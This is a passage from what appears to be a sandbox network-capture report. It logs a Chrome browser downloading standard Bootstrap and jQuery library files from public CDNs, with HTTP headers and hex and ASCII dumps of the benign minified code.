e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49717	104.18.10.207	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:18 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:18 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:55:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 11/06/2024 23:22:44 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 4b27a6159bc37045f1b4a0164e815dfb CDN-Cache: HIT CF-Cache-Status: HIT Age: 1897290 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f700eee2d64f795-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 10:55:18 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49718	151.101.2.137	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:18 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:18 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 597619 Date: Tue, 24 Dec 2024 10:55:18 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740036-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1735037719.748411,VS0,VE0 Vary: Accept-Encoding
2024-12-24 10:55:18 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-12-24 10:55:18 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-12-24 10:55:18 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
